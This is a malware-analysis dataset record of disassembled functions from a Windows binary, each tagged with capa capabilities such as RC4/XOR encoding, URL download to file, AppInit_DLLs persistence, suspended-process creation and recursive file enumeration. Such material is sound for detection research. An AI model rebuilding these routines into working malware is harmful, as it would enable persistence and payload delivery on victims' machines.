joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406b1a
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
mov ecx, edi
call fcn.0040de6d
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x406bcc
lea ecx, [ebp - 0x100]
mov eax, edi
call fcn.0040dd3c
test al, al
je 0x406bcc
xor eax, eax
test esi, esi
jle 0x406b63
xor byte [ebp + eax - 0x100], 0x5c
inc eax
cmp eax, esi
jl 0x406b56
mov bl, byte [ebp - 0x100]
cmp bl, 0xff
jne 0x406b7c
mov bl, byte [ebp - 0xfe]
lea eax, [ebp - 0xfd]
jmp 0x406b82
lea eax, [ebp - 0xff]
movzx ecx, byte [eax]
lea ecx, [eax + ecx + 1]
movzx eax, bl
lea edx, [eax + ecx]
lea esi, [ebp + esi - 0x100]
cmp edx, esi
ja 0x406bcc
cmp eax, dword [ebp + 8]
jl 0x406bcc
cmp byte [ebp - 0x100], 0xff
jne 0x406bae
add ecx, dword [ebp + 8]
sub bl, byte [ebp + 8]
movzx eax, bl
xor edx, edx
test eax, eax
jle 0x406bc5
movzx si, byte [edx + ecx]
mov word [edi + edx*2], si
inc edx
cmp edx, eax
jl 0x406bb7
and word [edi + eax*2], 0
jmp 0x406bce
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x407149
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
lea eax, [ebp - 0x38]
push edi
push eax
mov edx, 0x401f98
call fcn.00407a99
pop ecx
lea eax, [ebp - 0x38]
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.0040d9a6
xor edi, edi
lea eax, [ebp - 0x240]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4071c9
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x406e83
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.0040a6f6
add esp, 0x24
inc edi
cmp edi, 3
jb 0x40718e
cmp dword [ebp - 4], esi
jbe 0x4071de
mov esi, dword [ebp - 8]
call fcn.00405a57
jmp 0x4071e7
push dword [ebp - 8]
call fcn.0040d943
pop ecx
pop edi
pop esi
leave
ret
Function at 0x4077ed
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
call fcn.0040d9a6
lea eax, [ebp - 0x128]
push eax
mov edx, 0x401ef8
call fcn.00407a99
lea eax, [ebp - 0xb8]
push eax
mov edx, 0x401e70
call fcn.00407a99
lea eax, [ebp - 0x54]
push eax
mov edx, 0x401ecc
call fcn.00407a99
lea eax, [ebp - 0x2c]
push eax
mov edx, 0x401e60
call fcn.00407a99
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, 0x80000001
call fcn.0040a93d
add esp, 0xc
cmp eax, 0xffffffff
je 0x4078ba
test eax, eax
jbe 0x4078ba
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x538]
push eax
call fcn.00407532
pop ecx
pop ecx
add esi, 4
dec dword [ebp - 4]
jne 0x407872
cmp dword [ebp - 8], 0
jbe 0x4078d2
mov esi, dword [ebp - 0xc]
call fcn.00405a57
jmp 0x4078db
push dword [ebp - 0xc]
call fcn.0040d943
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4090c7
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.0040f120
push ebx
push edi
push 0x400
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
call fcn.004079d9
pop ecx
xor ebx, ebx
inc eax
xor ecx, ecx
cmp esi, ebx
je 0x40911a
cmp eax, ebx
jbe 0x40911a
mov byte [ebp - 0x804], bl
cmp word [esi + ecx*2], bx
mov dl, byte [esi + ecx*2]
mov byte [ebp + ecx - 0x804], dl
je 0x40911a
inc ecx
cmp ecx, eax
jb 0x409105
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x409141
xor eax, eax
jmp 0x409166
push ebx
lea eax, [ebp - 4]
push eax
push esi
call fcn.004079d9
pop ecx
push eax
lea eax, [ebp - 0x804]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x40916a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x40919d
xor eax, eax
jmp 0x4091d2
push edi
push dword [ebp + 0x14]
call fcn.004079d9
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp edi, esi
sete al
pop edi
pop esi
leave
ret

Function at 0x409571
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
push esi
xor esi, esi
push esi
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x409583
xor eax, eax
pop esi
ret
push esi
push esi
push esi
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [0x4114d4], eax
pop esi
mov eax, ecx
ret
Function at 0x4096b4
Capabilities:
Delete file
Download and write a file
Get file size
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
xor ebx, ebx
cmp dword [ebp + 0x14], ebx
push esi
mov dword [ebp - 4], ebx
je 0x4096d2
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 8], esi
jne 0x409701
mov eax, dword [ebp + 0x10]
or dword [eax], 1
xor eax, eax
jmp 0x409804
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov edi, dword [ebp + 0x10]
jne 0x40972e
or dword [edi], 2
cmp dword [ebp + 0x14], ebx
je 0x409723
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x40972e
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp + 8]
push dword [0x4114d4]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
cmp esi, ebx
mov dword [ebp + 0x14], esi
jne 0x40975f
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [edi], 4
jmp 0x409801
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
cmp dword [ebp - 4], ebx
je 0x409791
push ebx
push ebx
push ebx
push dword [ebp - 4]
push esi
call dword [sym.imp.WININET.dll_InternetSetFilePointer]
cmp eax, 0xffffffff
je 0x409791
push ebx
push ebx
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0xc]
push eax
mov edi, 0x800
push edi
lea eax, [ebp - 0x814]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x4097d7
cmp dword [ebp - 0xc], ebx
je 0x4097e1
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x814]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 0x814]
push eax
push dword [ebp + 0x14]
call esi
cmp eax, 1
mov dword [ebp - 4], eax
je 0x4097ab
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
inc eax
cmp dword [ebp - 4], eax
je 0x409803
mov eax, dword [ebp + 0x10]
or dword [eax], 4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409c76
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push edi
xor esi, esi
push esi
mov edi, 0x80
push edi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x409dc1
push esi
push edi
push 2
push esi
push esi
push 0xc0000000
push dword [ebp + 0xc]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x409ccc
push 2
pop eax
jmp 0x409dc4
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, esi
mov dword [ebp - 0x10], eax
je 0x409dc1
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
lea ecx, [ebp - 8]
push ecx
push edi
push eax
push dword [ebp - 0xc]
call ebx
test eax, eax
je 0x409dc1
cmp dword [ebp - 8], edi
jne 0x409dc1
push esi
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 0x10]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push esi
push esi
push dword [ebp - 4]
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 4]
call ebx
mov eax, dword [ebp - 0x14]
push esi
push esi
push eax
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call ebx
call fcn.00407d0e
cdq
mov ecx, 0x3e8
idiv ecx
mov eax, dword [ebp - 0x140]
push esi
push esi
push dword [ebp - 0x10]
push dword [ebp - 4]
lea eax, [eax + edx - 0x1f4]
mov dword [ebp - 0x140], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x409dc4
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409dc9
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x1000
call fcn.0040f120
push ebx
push ebp
push esi
push edi
mov ebx, 0x400
push ebx
lea eax, [esp + 0x814]
xor edi, edi
push eax
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
lea eax, [esp + 0x14]
push eax
push dword [esi*4 + 0x411040]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x814]
push eax
call fcn.00409c76
test eax, eax
pop ecx
pop ecx
je 0x409e6a
cmp eax, 1
jne 0x409e36
push 4
call ebp
lea eax, [eax + edi + 0xf4240]
push eax
push 4
jmp 0x409e49
cmp eax, 2
jne 0x409e51
push 4
call ebp
lea eax, [eax + edi + 0xf4240]
push eax
push 5
call fcn.0040cbdf
add esp, 0xc
inc esi
add edi, 0xf4240
cmp esi, 2
jl 0x409df6
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1000
ret
lea eax, [esi + 1]
jmp 0x409e5f
Function at 0x409e6f
Capabilities:
Create process on windows
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0040f0a0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x24
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
pop esi
jne 0x409ea7
leave
ret
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
leave
ret

Function at 0x40a185
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.0040f120
push esi
push edi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x2000]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40a1bb
lea edx, [ebp - 0x2000]
call fcn.00409556
jmp 0x40a1c9
lea eax, [ebp - 0x2000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, 0x402654
lea eax, [ebp - 0x2000]
call fcn.00407a75
cmp dword [ebp + 8], edi
push 4
pop eax
je 0x40a1e4
push 3
pop eax
push edi
push 2
push eax
push edi
push edi
push 0xc0000000
lea eax, [ebp - 0x2000]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop edi
mov dword [0x4110ac], eax
pop esi
mov eax, ecx
leave
ret

Function at 0x40a20f
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
cmp dword [0x4110ac], 0xffffffff
jne 0x40a233
push 0
call fcn.0040a185
cmp dword [0x4110ac], 0xffffffff
pop ecx
jne 0x40a233
xor eax, eax
leave
ret
push ebx
push esi
push edi
push dword [ebp + 0xc]
call fcn.004079d9
push dword [ebp + 0x10]
mov esi, eax
call fcn.004079d9
mov edx, dword [ebp + 0xc]
mov ebx, eax
lea eax, [ebp - 0x68]
push eax
call fcn.00407a99
add esp, 0xc
push 0xa
pop ecx
cmp esi, ecx
jae 0x40a271
sub ecx, esi
xor eax, eax
shr ecx, 1
lea edi, [ebp + esi*2 - 0x68]
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 0x54]
push eax
call fcn.00407a99
pop ecx
push 0x32
lea eax, [ebx + 0xa]
pop ecx
cmp eax, ecx
jae 0x40a299
sub ecx, eax
lea edi, [ebp + eax*2 - 0x68]
xor eax, eax
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
xor esi, esi
xor eax, eax
xor byte [ebp + eax - 0x68], 0x78
inc eax
cmp eax, 0x64
jb 0x40a29d
mov eax, dword [ebp + 8]
imul eax, eax, 0x64
push esi
push esi
push eax
push dword [0x4110ac]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x68]
push eax
push dword [0x4110ac]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a2d9
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
cmp dword [0x4110ac], 0xffffffff
push esi
mov esi, eax
jne 0x40a2fc
push 1
call fcn.0040a185
cmp dword [0x4110ac], 0xffffffff
pop ecx
je 0x40a368
imul esi, esi, 0x64
push 0
push 0
push esi
push dword [0x4110ac]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x64
lea eax, [ebp - 0x6c]
push eax
push dword [0x4110ac]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40a368
cmp dword [ebp - 4], 0x64
jne 0x40a368
xor eax, eax
xor byte [ebp + eax - 0x6c], 0x78
inc eax
cmp eax, 0x64
jb 0x40a334
push dword [ebp + 8]
and word [ebp - 8], 0
lea eax, [ebp - 0x6c]
call fcn.00407a1b
pop ecx
lea ecx, [ebp - 0x6c]
cmp eax, ecx
jne 0x40a368
push dword [ebp + 0xc]
lea edx, [ebp - 0x58]
call fcn.00407a99
xor eax, eax
pop ecx
inc eax
jmp 0x40a36a
xor eax, eax
pop esi
leave
ret

Function at 0x40a6f6
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
mov eax, 0x4026c0
call fcn.0040a6ca
test al, al
pop ecx
pop ecx
je 0x40a86d
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x40a86d
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [ebp + 0x20], esi
je 0x40a765
push esi
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40a864
cmp word [ebp - 0x230], 0x2e
jne 0x40a793
cmp word [ebp - 0x22e], si
je 0x40a84c
cmp word [ebp - 0x22e], 0x2e
jne 0x40a793
cmp word [ebp - 0x22c], si
je 0x40a84c
mov eax, dword [ebp - 0x25c]
and eax, 0x10
je 0x40a7a4
test byte [ebp + 0x14], 2
jne 0x40a7ae
cmp eax, esi
jne 0x40a7f2
test byte [ebp + 0x14], 4
je 0x40a7f2
cmp dword [ebp + 0x10], 0
jbe 0x40a7f2
push dword [edi + esi*4]
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x40a7d0
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x40a7b4
jmp 0x40a7f2
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test al, al
je 0x40a864
cmp dword [ebp + 0x28], 0
je 0x40a7f2
push dword [ebp + 0x28]
call ebx
test byte [ebp - 0x25c], 0x10
je 0x40a84c
test byte [ebp + 0x14], 1
je 0x40a84c
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x230]
call fcn.0040a6ca
test al, al
pop ecx
pop ecx
je 0x40a84c
cmp dword [ebp + 0x24], 0
je 0x40a827
push dword [ebp + 0x24]
call ebx
push dword [ebp + 0x28]
lea eax, [ebp - 0x464]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push eax
call fcn.0040a6f6
add esp, 0x24
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40a749
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a872
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x40a906
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40a8fd
cmp dword [ebp - 8], edi
jne 0x40a8fd
mov eax, dword [ebp - 0xc]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x40a8bc
mov dword [esi], edi
mov al, 1
jmp 0x40a908
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [esi], eax
je 0x40a8fd
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40a8ef
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 4]
je 0x40a8b8
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
leave
ret

Function at 0x40a93d
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea ecx, [ebp - 8]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40a97a
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 8]
call fcn.0040a90b
add esp, 0x10
mov ebx, eax
jmp 0x40a97d
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x40a9f3
test bl, 1
jne 0x40a9f3
cmp dword [ebp - 4], 1
je 0x40a993
cmp dword [ebp - 4], 2
jne 0x40a9f3
xor ecx, ecx
cmp ebx, ecx
jne 0x40a99e
mov word [edi], cx
jmp 0x40a9ef
shr ebx, 1
dec ebx
mov eax, ebx
cmp word [edi + eax*2], cx
je 0x40a9b5
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x40a9f3
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x40a9ef
cmp dword [ebp - 4], 2
jne 0x40a9ef
push edi
call fcn.0040dad9
mov esi, eax
test esi, esi
pop ecx
je 0x40a9dc
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x40a9df
or ebx, 0xffffffff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x40a9f6
or eax, 0xffffffff
pop esi
pop ebx
leave
ret
Function at 0x40aab2
Capabilities:
Delete file
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
mov ebx, 0x4026d0
push ebx
mov edi, 0x80000002
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40aafd
lea eax, [ebp - 0x804]
push eax
push 0x40273c
lea esi, [ebp - 4]
mov eax, 0x400
call fcn.0040908e
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x40ab0b
xor eax, eax
jmp 0x40ab40
lea eax, [ebp - 0x804]
push eax
call fcn.004079d9
cmp eax, 4
pop ecx
jbe 0x40ab35
push 1
push 0x4024d8
push 0x40273c
push ebx
push edi
call fcn.0040916a
add esp, 0x14
jmp 0x40ab40
push 0x402758
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40c0f2
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040f120
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x40c112
push dword [ebp + 0xc]
call fcn.004079d9
pop ecx
jmp 0x40c114
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x40c138
xor eax, eax
jmp 0x40c24a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x40c1b4
xor eax, eax
jmp 0x40c248
mov eax, dword [ebp - 8]
test eax, eax
je 0x40c1d2
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x40c196
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x40c15d
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040e0e0
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x40c164
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x40c1f0
and dword [ebp - 4], eax
jmp 0x40c239
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x40c22f
test edi, edi
jbe 0x40c22f
and word [ecx], 0
test edi, edi
jbe 0x40c22f
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x40c22f
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x40c211
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret